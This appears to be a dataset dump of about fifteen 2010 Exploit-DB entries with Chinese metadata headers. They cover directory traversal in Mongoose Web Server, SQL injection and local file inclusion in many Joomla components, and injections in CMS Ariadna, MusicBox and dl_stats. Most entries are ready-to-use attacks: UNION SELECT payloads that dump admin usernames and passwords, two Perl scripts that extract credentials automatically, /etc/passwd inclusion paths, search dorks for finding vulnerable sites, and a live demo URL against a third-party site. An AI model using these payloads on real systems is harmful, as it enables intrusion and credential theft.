QLWD/code_shield huggingface dataset:
标题: Mongoose Web Server 2.8 - Multiple Directory Traversals EDB-ID: 12309 CVE: 2009-4535 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-20 漏洞利用脚本: ################################################################
#
# Mongoose Web Server v2.8 Multiple Directory Traversal Exploits
# Found By:             Dr_IDE
# Date:                 Apr. 20, 2010
# Tested On:            Windows 7
# Download:             http://code.google.com/p/mongoose/downloads/list
#
################################################################

- Description -

Mongoose v2.8 is a Windows based HTTP server. This is the latest
version of the application available.

Mongoose v2.8 is vulnerable to many  remote directory traversal attacks.

- Technical Details -
http://172.16.2.102//..%5C..%5C%5C..%5C..%5C%5C..%5C..%5C%5C..%5C..%5Cboot.ini
http://172.16.2.102/..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini
http://172.16.2.102/..%5C..%5Cboot.ini

#[pocoftheday.blogspot.com] URL: https://www.exploit-db.com/exploits/12309
标题: Joomla! Component JTM Reseller 1.9 Beta - SQL Injection EDB-ID: 12306 CVE: 2010-1877 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-20 漏洞利用脚本: [!]===========================================================================[!]

[~] Joomla Component JTM Reseller SQL injection vulnerability 
[~] Author : kaMtiEz (kamzcrew@yahoo.com)
[~] Homepage : http://www.indonesiancoder.com
[~] Date : 20 april, 2010

[!]===========================================================================[!]

[ Software Information ]

[+] Vendor : http://www.jtmreseller.com/index.php?option=com_jtm&view=search&view=search&author=
[+] Price : free
[+] Vulnerability : SQL
[+] Dork : inurl:"CIHUY" ;)
[+] Download : http://www.jtmreseller.com/index.php?option=com_content&view=article&id=2&Itemid=4
[+] Version : 1.9 Beta


[!]===========================================================================[!]

[ Vulnerable File ]

http://127.0.0.1/index.php?option=com_jtm&view=search&view=search&author=[INDONESIANCODER]

[ XpL ]

-666/**/union/**/all/**/select/**/concat_ws(0x3a,username,password)/**/from/**/jos_users--&task=search

[ d3m0 ]

http://999k.idv.tw/index.php?option=com_jtm&view=search&author=-666/**/union/**/all/**/select/**/concat_ws(0x3a,username,password)/**/from/**/jos_users--&task=search

etc etc etc ;]

[!]===========================================================================[!]

[ Thx TO ]

[+] INDONESIAN CODER TEAM MainHack ServerIsDown SurabayaHackerLink IndonesianHacker MC-CREW
[+] tukulesto,M3NW5,arianom,N4CK0,Jundab,d0ntcry,bobyhikaru,gonzhack,senot
[+] Contrex,YadoY666,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue,otong,CS-31,yur4kh4


[ NOTE ] 

[+] WE ARE ONE UNITY, WE ARE A CODER FAMILY, AND WE ARE INDONESIAN CODER TEAM 
[+] jika kami bersama nyalakan tanda bahaya :)
[+] Ayy : Ceped sembuh bebh .. lup u :">
[+] Don Tukulesto and Acild : thanks for coming in my t0wn :D

[ QUOTE ]

[+] INDONESIANCODER still r0x
[+] nothing secure .. URL: https://www.exploit-db.com/exploits/12306
标题: Joomla! Component GBU Facebook 1.0.5 - SQL Injection EDB-ID: 12299 CVE: 2010-5056 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-19 漏洞利用脚本: [!]===========================================================================[!]

[~] Joomla Component GBU FACEBOOK SQL injection vulnerability 
[~] Author : kaMtiEz (kamzcrew@yahoo.com)
[~] Homepage : http://www.indonesiancoder.com
[~] Date : 20 april, 2010

[!]===========================================================================[!]

[ Software Information ]

[+] Vendor : http://www.gbugrafici.nl/gbufacebook/
[+] Price : free
[+] Vulnerability : SQL
[+] Dork : inurl:"CIHUY" ;)
[+] Download : http://www.gbugrafici.nl/gbufacebook/com_gbufacebook.zip
[+] Version : 1.0.5 or lower maybe also affected


[!]===========================================================================[!]

[ Vulnerable File ]

http://127.0.0.1/index.php?option=com_gbufacebook&task=show_face&face_id=[INDONESIANCODER]

[ XpL ]

-999.9'+UNION+ALL+SELECT+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+jos_users--+and+'kaMtiEz'='kaMtiEz

etc etc etc ;]

[!]===========================================================================[!]

[ Thx TO ]

[+] INDONESIAN CODER TEAM MainHack ServerIsDown SurabayaHackerLink IndonesianHacker MC-CREW
[+] tukulesto,M3NW5,arianom,N4CK0,Jundab,d0ntcry,bobyhikaru,gonzhack,senot
[+] Contrex,YadoY666,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue,otong,CS-31,yur4kh4


[ NOTE ] 

[+] WE ARE ONE UNITY, WE ARE A CODER FAMILY, AND WE ARE INDONESIAN CODER TEAM 
[+] jika kami bersama nyalakan tanda bahaya :)
[+] Ayy : Ceped sembuh bebh .. lup u :">
[+] Don Tukulesto and Acild : thanks for coming in my t0wn :D

[ QUOTE ]

[+] INDONESIANCODER still r0x
[+] nothing secure .. URL: https://www.exploit-db.com/exploits/12299
标题: CMS Ariadna 2009 - SQL Injection EDB-ID: 12301 CVE: 2010-5058 2010-5057 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-19 漏洞利用脚本: # Exploit Title : CMS Ariadna 2009 SQL Injection
# Date : 2010-04-19
# Author : Andrés Gómez
# Contact : gomezandres@adinet.com.uy
# Dork : "allinurl: detResolucion.php?tipodoc_id="
########################################################################
Exploit in Perl Start In Next Line:

use LWP::Simple;

########################################################################
# Malicious users may inject SQL querys into a vulnerable
# application to fool a user in order to gather data from them or see
sensible information.
########################################################################
# Solution:
# $_GET = preg_replace("|([^\w\s\'])|i",'',$_GET);
# $_POST = preg_replace("|([^\w\s\'])|i",'',$_POST);
########################################################################
# Special Thanks : HYPERNETHOST & Security-Pentest & Mauro Rossi
##########################[Andrés Gómez]#################################

my $target = $ARGV[0];
unless ($target) { print "\n Inyector Remoto -- HYPERNETHOST &
Security-Pentest -- Andres Gomez\n\n";
print "\ Dork: allinurl: detResolucion.php?tipodoc_id=\n";
print "\nEjemplo Ejecucion = AriadnaCms.pl
http://www.sitio.extension/path/\n" ; exit 1; }

$sql =
"detResolucion.php?tipodoc_id=33+and+1=0+union+select+concat(0x7365637572697479,adm_nombre,0x3a,0x70656e74657374,adm_clave)+from+administrador--";

$final = $target.$sql;
$contenido = get($final);

print "\n\n[+] Pagina Web: $target\n\n";
if ($contenido =~/security(.*):pentest(.*)/) {
print "[-] Datos extraidos con exito:\n\n";
print "[+] Usuario = $1\n";
print "[+] Password = $2\n";
} else {
print "[-] No se obtuvieron datos\n\n";
exit 1;
}

print "\n[ñ] Escriba exit para salir de la aplicacion\n";

exit 1; URL: https://www.exploit-db.com/exploits/12301
标题: MusicBox 3.3 - SQL Injection EDB-ID: 12303 CVE: 2010-1499 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-20 漏洞利用脚本: #!/usr/bin/perl 
use LWP::Simple;
print "\n";
print "##############################################################\n";
print "# MusicBox v 3.3 SQL INJECTION EXPLOIT                       #\n";
print "# Author: Ctacok  (Russian)                                  #\n";
print "# Special for Antichat (forum.antichat.ru) and xakep.ru      #\n";
print "##############################################################\n";
print "\n Usage: exploit.pl [host] [path] ";
print "\n EX : exploit.pl www.localhost.com /path/ \n\n";
print "\n userlevel 9 = SuperAdmin ";
print "\n pass = md5($pass)";
if (@ARGV < 2)
{
exit;
}
$host=$ARGV[0];
$path=$ARGV[1];
$vuln = "-1+union+select+1,2,concat(0x3a3a3a,userid,0x3a,username,0x3a,password,0x3a,email,0x3a,userlevel,0x3a3a3a),4,5,6,7+from+users+";
$doc = get($host.$path."genre_artists.php?id=".$vuln."--+&by=ASC");
if ($doc =~ /:::(.+):(.+):(.+):(.+):(.+):::/){
        print "\n[+] Admin id: : $1";
                print "\n[+] Admin username: $2";
                print "\n[+] Admin password: $3";
                print "\n[+] Admin email: $4";
                print "\n[+] Admin userlevel: $5";
}else{
                print "\n My name is Fail, Epic Fail... \n"
} URL: https://www.exploit-db.com/exploits/12303
标题: Joomla! Component iNetLanka Contact Us Draw Root Map 1.1 - Local File Inclusion EDB-ID: 12289 CVE: 2010-1723 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-18 漏洞利用脚本: ==============================================================================================================


  [o] Joomla Component Contact Us Draw Root Map Local File Inclusion Vulnerability
 
       Software : com_drawroot version 1.1
       Vendor   : http://joomlacomponent.inetlanka.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


==============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_drawroot&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_drawroot&controller=../../../../../../../../../../etc/passwd%00


==============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


==============================================================================================================


  [o] April 18 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12289
标题: Joomla! Component iNetLanka Multiple root 1.0 - Local File Inclusion EDB-ID: 12287 CVE: 2010-1954 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-18 漏洞利用脚本: ===============================================================================================================


  [o] Joomla Component Multiple Root Local File Inclusion Vulnerability
 
       Software : com_multiroot version 1.0
       Vendor   : http://joomlacomponent.inetlanka.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


===============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_multiroot&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_multiroot&controller=../../../../../../../../../../etc/passwd%00


===============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


===============================================================================================================


  [o] April 18 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12287
标题: Joomla! Component Gadget Factory 1.0.0 - Local File Inclusion EDB-ID: 12285 CVE: 2010-1956 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-18 漏洞利用脚本: ===================================================================================================================


  [o] Joomla Component Gadget Factory Local File Inclusion Vulnerability
 
       Software : com_gadgetfactory version 1.0.0
       Vendor   : http://www.thefactory.ro/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


===================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_gadgetfactory&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_gadgetfactory&controller=../../../../../../../../../../etc/passwd%00


===================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


===================================================================================================================


  [o] April 18 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12285
标题: Joomla! Component ZiMBCore 0.1 - Local File Inclusion EDB-ID: 12284 CVE: 2010-1603 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-18 漏洞利用脚本: ==============================================================================================================


  [o] Joomla Component ZiMB Manager Local File Inclusion Vulnerability
 
       Software : com_zimbcore version 0.1
       Vendor   : http://www.zimbllc.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


==============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_zimbcore&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_zimbcore&controller=../../../../../../../../../../etc/passwd%00


==============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


==============================================================================================================


  [o] April 18 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12284
标题: Joomla! Component iNetLanka Multiple Map 1.0 - Local File Inclusion EDB-ID: 12288 CVE: 2010-1953 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-18 漏洞利用脚本: ==============================================================================================================


  [o] Joomla Component Multiple Map Local File Inclusion Vulnerability
 
       Software : com_multimap version 1.0
       Vendor   : http://joomlacomponent.inetlanka.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


==============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_multimap&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_multimap&controller=../../../../../../../../../../etc/passwd%00


==============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


==============================================================================================================


  [o] April 18 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12288
标题: Joomla! Component iF surfALERT 1.2 - Local File Inclusion EDB-ID: 12291 CVE: 2010-1717 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-18 漏洞利用脚本: ==================================================================================================================


  [o] Joomla Component iF surfALERT Local File Inclusion Vulnerability
 
       Software : com_if_surfalert version 1.2
       Vendor   : http://www.inertialfate.za.net/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


==================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_if_surfalert&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_if_surfalert&controller=../../../../../../../../../../etc/passwd%00


==================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


==================================================================================================================


  [o] April 18 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12291
标题: Joomla! Component Matamko 1.01 - Local File Inclusion EDB-ID: 12286 CVE: 2010-1495 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-18 漏洞利用脚本: =============================================================================================================


  [o] Joomla Component Matamko Local File Inclusion Vulnerability
 
       Software : com_matamko version 1.01
       Vendor   : http://www.matamko.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


=============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_matamko&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_matamko&controller=../../../../../../../../../../etc/passwd%00


=============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


=============================================================================================================


  [o] April 18 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12286
标题: Joomla! Component ZiMB Comment 0.8.1 - Local File Inclusion EDB-ID: 12283 CVE: 2010-1602 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-18 漏洞利用脚本: =================================================================================================================


  [o] Joomla Component ZiMB Comment Local File Inclusion Vulnerability
 
       Software : com_zimbcomment version 0.8.1
       Vendor   : http://www.zimbllc.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


=================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_zimbcomment&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_zimbcomment&controller=../../../../../../../../../../etc/passwd%00


=================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


=================================================================================================================


  [o] April 18 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12283
标题: dl_stats - Multiple Vulnerabilities EDB-ID: 12280 CVE: 2010-1498 2010-1497 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-18 漏洞利用脚本: [:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
|:: >> General Information 
|:: Advisory/Exploit Title = dl_stats Multiple Vulnerabilitie
|:: Author = Valentin Hoebel
|:: Contact = valentin@xenuser.org
|:: 
|:: 
[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
|:: >> Product information
|:: Name = dl_stats
|:: Vendor = Claus van Beek
|:: Vendor Website = http://clausvb.de/
|:: Affected Version(s) = please view vulnerability details
|:: 
|:: 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
|:: >> #1 Vulnerability
|:: Type = SQL Injection
|:: Affected Versions = > 2.0
|:: Vulnerable File(s) = multiple files
|:: Vulnerable Parameter(s) = multiple parameters
|:: #1 Example URI = view_file.php?id=6+AND+1=2+UNION+SELECT+1,concat(user()),concat(user()),concat(user()),concat(user()),6,7,concat(user())--
|:: #2 Example URI = download.php?id=2+AND+1=2+UNION+SELECT+1,concat(user()),3,concat(user()),concat(user())--
|:: 
|:: >> #2 "Vulnerability"
|:: Type = Unprotected Admin Backend
|:: Affected Versions = all
|:: URI = admin/index.htm
|:: This is not a real vulnerability. The admin backend simply isn't protected
|:: by any login, the installation manual recommends to protect it with a
|:: .htaccess file. Many webmasters just forget to do so.
|::
|:: >> #3 Vulnerability
|:: Type = XSS
|:: Affected Versions = > 2.0
|:: Vulnerable File(s) = multiple files
|:: Vulnerable Parameter(s) = multiple parameters
|:: Example URI = download_proc.php?id=<iframe src=http://www.google.de>
|:: 
|:: 
[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
|:: >> Additional Information
|:: Advisory/Exploit Published = 18.04.2010
|:: The vendor seems to have rewritten the dl_stats software. Since version 2.0
|:: it validates the user input. The vendor only offers the latest version for download.
|:: If you want to test around a little bit you maybe are lucky and find an old
|:: version to download somewhere.
|:: Although version 2.0 was released a long time ago, many websites still use the
|:: old versions for their websites.
|::
|:: 
[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
|:: >> Misc
|:: Greetz && Thanks = inj3ct0r team, Exploit DB, hack0wn and ExpBase!
|::
|:: 
[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::] URL: https://www.exploit-db.com/exploits/12280
标题: Joomla! Component JoltCard 1.2.1 - SQL Injection EDB-ID: 12269 CVE: 2010-1496 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-16 漏洞利用脚本: # Exploit Title: Joomla Component com_joltcard SQL Injection Vulnerability
# Date: 17.04.2010
# Author: Valentin
# Category: webapps/0day
# Version: unknown
# Tested on: 
# CVE :  
# Code : 


[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
|:: >> General Information 
|:: Advisory/Exploit Title = Joomla Component com_joltcard SQL Injection Vulnerability
|:: Author = Valentin Hoebel
|:: Contact = valentin@xenuser.org
|:: 
|:: 
[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
|:: >> Product information
|:: Name = com_joltcard
|:: Vendor = JOLT media
|:: Vendor Website = http://jolt.ca/
|:: Affected Version(s) = unknown
|:: 
|:: 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
|:: >> #1 Vulnerability
|:: Type = SQL Injection
|:: Vulnerable Parameter(s) = cardID
|:: Example URI = index.php?option=com_joltcard&Itemid=XX&task=view&cardID=X+AND+1=2+UNION+SELECT+concat(database())--
|:: Selected information gets only displayed within the HTML source code (look at <OBJECT> tag). 
|::
|:: 
[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
|:: >> Additional Information
|:: Advisory/Exploit Published = 17.04.2010
|:: 
|:: 
[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
|:: >> Misc
|:: Greetz && Thanks = inj3ct0r team, Exploit DB, hack0wn and ExpBase!
|::
|:: 
[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::] URL: https://www.exploit-db.com/exploits/12269